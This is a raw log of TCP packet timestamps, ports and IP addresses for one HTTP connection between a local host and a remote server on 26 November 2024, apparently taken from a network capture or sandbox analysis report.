Nov 26, 2024 00:07:42.422094107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.422137022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.423384905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.423437119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.423463106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.423480034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.424856901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.424911022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.424911022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.424954891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.426018000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.426074982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.426208973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.426289082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.427454948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.427510023 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.427519083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.427562952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.428702116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.428757906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.488658905 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.488724947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.488877058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.489298105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.489367962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.489505053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.489559889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.490674973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.490916967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.490979910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.492036104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.492100954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.492146015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.492202044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.493376017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.493438959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.493478060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.493530989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.494731903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.494879961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.494956017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.496115923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.496140957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.496186972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.496229887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.571103096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.571191072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.571234941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.571285009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.571563005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.571626902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.571732044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.571783066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.572778940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.572832108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.573154926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.573204994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.573915005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.573971987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.574001074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.574047089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.575273991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.575336933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.575341940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.575391054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.576267958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.576320887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.576328993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.576371908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.577429056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.577478886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.577524900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.577578068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.578592062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.578646898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.578686953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.578737020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.579761028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.579812050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.579830885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.579875946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.580956936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.581007957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.581110954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.581182003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.582117081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.582165956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.582222939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.582281113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.583293915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.583370924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.583396912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.583444118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.584440947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.584491968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.584548950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.584605932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.585624933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.585678101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.585715055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.585762978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.586781979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.586831093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.586888075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.586936951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.587977886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.588027954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.588054895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.588104010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.589134932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.589184999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.589607954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.589659929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.590315104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.590364933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.590404987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.590456009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.591527939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.591562986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.591609955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.592654943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.592705011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.592753887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.592797995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.593816996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.593955994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.594053984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.595007896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.595109940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.595165014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.596263885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.596312046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.596345901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.596400976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.597412109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.597460985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.597609997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.597656965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.598537922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.598675013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.598726988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.599742889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.599806070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.599841118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.599891901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.601183891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.601264954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.601305008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.601350069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.602032900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.602097988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.602175951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.602220058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.603210926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.603379965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.603429079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.604387045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.604439974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.604593992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.604645967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.605546951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.605591059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.605657101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.605704069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.606720924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.606832981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.606887102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.607867956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.607918024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.607992887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.608042955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.609076023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.609122038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.609158993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.609210014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.610259056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.610304117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.610403061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.610451937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.611407042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.611453056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.611540079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.611584902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.612467051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.612514973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.612554073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.612637997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.613471031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.613518000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.613579035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.613624096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.614514112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.614619017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.614670992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.615473032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.615519047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.615576982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.615624905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.616463900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.616512060 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.616549015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.616595030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.617523909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.617569923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.617633104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.617682934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.618465900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.618585110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.618632078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.619442940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.619487047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.619554043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.619597912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.620485067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.620568037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.620800972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.620845079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.621423006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.621471882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.621519089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.622400045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.622469902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.699158907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.699260950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.699310064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.699670076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.699682951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.699717045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.699732065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.700727940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.700748920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.700790882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.701785088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.701826096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.701894045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.701934099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.702620983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.702727079 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.702769995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.703609943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.703658104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.703718901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.703763962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.704592943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.704638958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.704674006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.704718113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.781578064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.781665087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.781727076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.782016993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.782077074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.782212973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.782267094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.782963037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.783058882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.783111095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.783901930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.783956051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.784032106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.784080982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.784858942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.784959078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.785008907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.785859108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.785904884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.785923958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.785969019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.786772966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.786833048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.786844969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.786871910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.787699938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.787806034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.787863016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.788641930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.788695097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.788762093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.788815975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.789622068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.789674044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.789766073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.789814949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.790568113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.790613890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.790702105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.790746927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.791486025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.791532993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.791574955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.791618109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.792454958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.792503119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.792562008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.793447018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.793502092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.793526888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.793565035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.794380903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.794431925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.794469118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.795284986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.795316935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.795357943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.795420885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.795466900 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.796263933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.796380997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.796385050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.796423912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.797219038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.797264099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.797302961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.797362089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.798177958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.798238993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.798284054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.799123049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.799235106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.799294949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.800084114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.800143957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.800230980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.800278902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.801007032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.801052094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.801129103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.801172018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.801980972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.802027941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.802148104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.802241087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.802911043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.802953959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.803020954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.803065062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.803870916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.803917885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:42.803946972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:42.803965092 CET	49753	80	192.168.2.4	92.255.57.88
